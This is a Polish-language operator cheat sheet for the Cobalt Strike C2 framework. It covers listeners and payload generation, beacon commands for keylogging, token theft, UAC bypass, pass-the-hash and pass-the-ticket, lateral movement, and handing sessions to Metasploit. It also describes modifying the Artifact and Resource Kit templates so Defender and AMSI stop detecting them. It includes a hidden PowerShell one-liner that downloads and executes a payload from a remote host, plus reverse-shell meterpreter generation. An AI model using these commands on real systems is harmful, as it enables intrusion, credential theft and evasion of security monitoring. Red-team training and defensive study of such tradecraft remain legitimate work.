Cobalt Strike -> Słuchacze -> Dodaj/Edytuj, a następnie możesz wybrać, gdzie nasłuchiwać, jakiego rodzaju beacon użyć (http, dns, smb...) i wiele więcej.
Słuchacze Peer2Peer
Beacony tych słuchaczy nie muszą bezpośrednio komunikować się z C2, mogą komunikować się z nim za pośrednictwem innych beaconów.
Cobalt Strike -> Słuchacze -> Dodaj/Edytuj, a następnie musisz wybrać beacony TCP lub SMB.
Beacon TCP ustawia słuchacz na wybranym porcie. Aby połączyć się z beaconem TCP, użyj polecenia connect <ip> <port> z innego beacona.
Beacon SMB nasłuchuje na nazwie potoku o wybranej nazwie. Aby połączyć się z beaconem SMB, należy użyć polecenia link [target] [pipe].
Generowanie i hostowanie payloadów
Generowanie payloadów w plikach
Ataki -> Pakiety ->
HTMLApplication dla plików HTA
MS Office Macro dla dokumentu biurowego z makrem
Windows Executable dla pliku .exe, .dll lub pliku usługi .exe
Windows Executable (S) dla bezstrefowego pliku .exe, .dll lub pliku usługi .exe (lepsze bezstrefowe niż etapowane, mniej IoC)
Generowanie i hostowanie payloadów
Ataki -> Web Drive-by -> Skryptowe dostarczanie przez sieć (S) Spowoduje to wygenerowanie skryptu/wykonalnego do pobrania beacona z cobalt strike w formatach takich jak: bitsadmin, exe, powershell i python
Hostowanie Payloadów
Jeśli już masz plik, który chcesz hostować na serwerze sieciowym, przejdź do Ataki -> Web Drive-by -> Host File i wybierz plik do hostowania oraz konfigurację serwera sieciowego.
Opcje Beacona
# Wykonaj lokalny plik .NETexecute-assembly</path/to/executable.exe># Zrzuty ekranuprintscreen# Wykonaj pojedynczy zrzut ekranu za pomocą metody PrintScrscreenshot# Wykonaj pojedynczy zrzut ekranuscreenwatch# Wykonuj okresowe zrzuty ekranu pulpitu## Przejdź do Widok -> Zrzuty ekranu, aby je zobaczyć# keyloggerkeylogger [pid] [x86|x64]## Wyświetl > Klawisze, aby zobaczyć naciśnięte klawisze# portscanportscan [pid] [arch] [cele] [porty] [arp|icmp|none] [maksymalne połączenia] # Wstrzyknij akcję portscanu do innego procesu
portscan [cele] [porty] [arp|icmp|none] [maksymalne połączenia]# Powershell# Importuj moduł Powershellpowershell-importC:\path\to\PowerView.ps1powershell<wpisztutajpoleceniepowershell># Podmiana użytkownika## Generowanie tokenu z danymi uwierzytelniającymimake_token [DOMAIN\user] [hasło] # Utwórz token do podmiany użytkownika w siecils \\nazwa_komputera\c$ # Spróbuj użyć wygenerowanego tokenu do dostępu do C$ na komputerzerev2self# Przestań używać tokenu wygenerowanego za pomocą make_token## Użycie make_token generuje zdarzenie 4624: Pomyślnie zalogowano na konto. To zdarzenie jest bardzo powszechne w domenie Windows, ale można je zawęzić, filtrować według typu logowania. Jak wspomniano wcześniej, używa LOGON32_LOGON_NEW_CREDENTIALS, który jest typem 9.
# UAC Bypasselevatesvc-exe<słuchacz>elevateuac-token-duplication<słuchacz>runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
## Ukradnij token z pid## Podobnie jak make_token, ale kradnie token z procesusteal_token [pid] # Ponadto, jest to przydatne dla działań sieciowych, a nie lokalnych## Z dokumentacji API wiemy, że ten typ logowania "pozwala wywołującemu sklonować jego bieżący token". Dlatego wynik Beacona mówi Impersonated <current_username> - podmienia nasz własny sklonowany token.
ls \\nazwa_komputera\c$ # Spróbuj użyć wygenerowanego tokenu do dostępu do C$ na komputerzerev2self# Przestań używać tokenu z steal_token## Uruchom proces z nowymi danymi uwierzytelniającymispawnas [domena\nazwa_użytkownika] [hasło] [słuchacz] # Zrób to z katalogu z dostępem do odczytu, np. cd C:\## Podobnie jak make_token, spowoduje to wygenerowanie zdarzenia systemowego 4624: Pomyślnie zalogowano na konto, ale z typem logowania 2 (LOGON32_LOGON_INTERACTIVE). Będzie zawierać szczegóły użytkownika wywołującego (TargetUserName) i podmienionego użytkownika (TargetOutboundUserName).
## Wstrzyknięcie do procesuinject [pid] [x64|x86] [słuchacz]## Z punktu widzenia OpSec: Nie wykonuj wstrzykiwania międzyplatformowego, jeśli naprawdę nie musisz (np. x86 -> x64 lub x64 -> x86).
## Przekazanie hasha## Ten proces modyfikacji wymaga łatania pamięci LSASS, co jest działaniem o wysokim ryzyku, wymaga uprawnień lokalnego administratora i nie jest zbyt wykonalne, jeśli włączono lekki proces chroniony (PPL).
pth [pid] [arch] [DOMAIN\user] [hash NTLM]pth [DOMAIN\user] [hash NTLM]## Przekazanie hasha za pomocą mimikatzmimikatzsekurlsa::pth/user:<nazwa_użytkownika>/domain:<DOMENA>/ntlm:<HASHNTLM>/run:"powershell -w hidden"## Bez /run, mimikatz uruchamia cmd.exe, jeśli uruchamiasz jako użytkownik z pulpitem, zobaczy powłokę (jeśli uruchamiasz jako SYSTEM, jesteś w porządku)
steal_token<pid>#Ukradnij token z procesu utworzonego przez mimikatz## Przekazanie biletu## Poproś o biletexecute-assembly C:\path\Rubeus.exe asktgt /user:<nazwa_użytkownika> /domain:<domena> /aes256:<klucze_aes> /nowrap /opsec
## Utwórz nową sesję logowania do użycia z nowym biletem (aby nie nadpisać skompromitowanego)make_token<domena>\<nazwa_użytkownika>DummyPass## Zapisz bilet na maszynie atakującego z sesji powłoki PowerShell i załaduj go[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...bilet...]"))
kerberos_ticket_useC:\Users\Administrator\Desktop\jkingTGT.kirbi## Przekazanie biletu z SYSTEMU## Wygeneruj nowy proces z biletemexecute-assembly C:\path\Rubeus.exe asktgt /user:<NAZWA UŻYTKOWNIKA> /domain:<DOMENA> /aes256:<KLUCZ AES> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
## Ukradnij token z tego procesusteal_token<pid>## Wyodrębnij bilet + Przekazanie biletu### Wyświetl listę biletówexecute-assemblyC:\path\Rubeus.exetriage### Zrzutuj interesujący bilet według luidexecute-assemblyC:\path\Rubeus.exedump/service:krbtgt/luid:<luid>/nowrap### Utwórz nową sesję logowania, zanotuj luid i processidexecute-assemblyC:\path\Rubeus.execreatenetonly/program:C:\Windows\System32\cmd.exe### Wstaw bilet do wygenerowanej sesji logowaniaexecute-assemblyC:\path\Rubeus.exeptt/luid:0x92a8c/ticket:[...base64-ticket...]### Na koniec, kradnij token z tego nowego procesusteal_token<pid># Ruch boczny## Jeśli token został utworzony, zostanie użytyjump [metoda] [cel] [słuchacz]## Metody:## psexec x86 Użyj usługi do uruchomienia artefaktu Service EXE## psexec64 x64 Użyj usługi do uruchomienia artefaktu Service EXE## psexec_psh x86 Użyj usługi do uruchomienia jednolinijkowego skryptu PowerShell## winrm x86 Uruchom skrypt PowerShell za pomocą WinRM## winrm64 x64 Uruchom skrypt PowerShell za pomocą WinRMremote-exec [metoda] [cel] [polecenie]## Metody:## psexec Wykonaj zdalnie za pomocą Menedżera Kontroli Usług## winrm Wykonaj zdalnie za pomocą WinRM (PowerShell)## wmi Wykonaj zdalnie za pomocą WMI## Aby wykonać beacon z wmi (nie jest to w poleceniu jump), po prostu przekaż beacon i wykonaj gobeacon> uploadC:\Payloads\beacon-smb.exebeacon> remote-execwmisrv-1C:\Windows\beacon-smb.exe# Przekazanie sesji do Metasploit - Przez słuchacz## Na hoście metaploitmsf6>useexploit/multi/handlermsf6exploit(multi/handler) >setpayloadwindows/meterpreter/reverse_httpmsf6exploit(multi/handler) >setLHOSTeth0msf6exploit(multi/handler) >setLPORT8080msf6exploit(multi/handler) >exploit-j## Na cobalt: Listeners > Dodaj i ustaw Payload na Foreign HTTP. Ustaw Host na 10.10.5.120, Port na 8080 i kliknij Zapisz.
beacon> spawnmetasploit## Możesz uruchamiać tylko sesje x86 Meterpreter z zewnętrznym słuchaczem.# Przekazanie sesji do Metasploit - Przez wstrzyknięcie shellcode'u## Na hoście metasploitmsfvenom-pwindows/x64/meterpreter_reverse_httpLHOST=<IP>LPORT=<PORT>-fraw-o/tmp/msf.bin## Uruchom msfvenom i przygotuj słuchacz multi/handler## Skopiuj plik bin do hosta cobalt strikepsshinject<pid>x64C:\Payloads\msf.bin#Wstrzyknij shellcode metasploit do procesu x64# Przekazanie sesji metasploit do cobalt strike## Wygeneruj bezetapowy kod Beacon, przejdź do Attacks > Packages > Windows Executable (S), wybierz żądany słuchacz, wybierz Raw jako typ wyjścia i wybierz Użyj ładunku x64.
## Użyj post/windows/manage/shellcode_inject w metasploit, aby wstrzyknąć wygenerowany kod cobalt strike# Przekierowanie## Otwórz proxy SOCKS w teamserverzebeacon> socks1080# Połączenie SSHbeacon> ssh10.10.17.12:22nazwa_użytkownikahasło
Unikanie programów antywirusowych
Zestaw artefaktów
Zazwyczaj w /opt/cobaltstrike/artifact-kit można znaleźć kod i prekompilowane szablony (w /src-common), które cobalt strike będzie używał do generowania binarnych beaconów.
Korzystając z ThreatCheck z wygenerowanym backdoor'em (lub tylko z skompilowanym szablonem) można znaleźć, co powoduje uruchomienie defendera. Zazwyczaj jest to ciąg znaków. Dlatego można po prostu zmodyfikować kod generujący backdoor, aby ten ciąg nie pojawił się w końcowym pliku binarnym.
Po zmodyfikowaniu kodu wystarczy uruchomić ./build.sh z tego samego katalogu i skopiować folder dist-pipe/ do klienta Windows w C:\Tools\cobaltstrike\ArtifactKit.
Nie zapomnij załadować agresywnego skryptu dist-pipe\artifact.cna, aby wskazać Cobalt Strike, które zasoby z dysku chcemy używać, a nie te, które są załadowane.
Zestaw zasobów
Folder ResourceKit zawiera szablony dla skryptowych ładunków Cobalt Strike, w tym PowerShell, VBA i HTA.
Korzystając z ThreatCheck z szablonami, możesz dowiedzieć się, co nie podoba się obrońcy (w tym przypadku AMSI) i go zmodyfikować:
Modyfikując wykryte linie można wygenerować szablon, który nie zostanie wykryty.
Nie zapomnij załadować agresywnego skryptu ResourceKit\resources.cna, aby wskazać Cobalt Strike, aby korzystał z zasobów z dysku, których chcemy, a nie z załadowanych.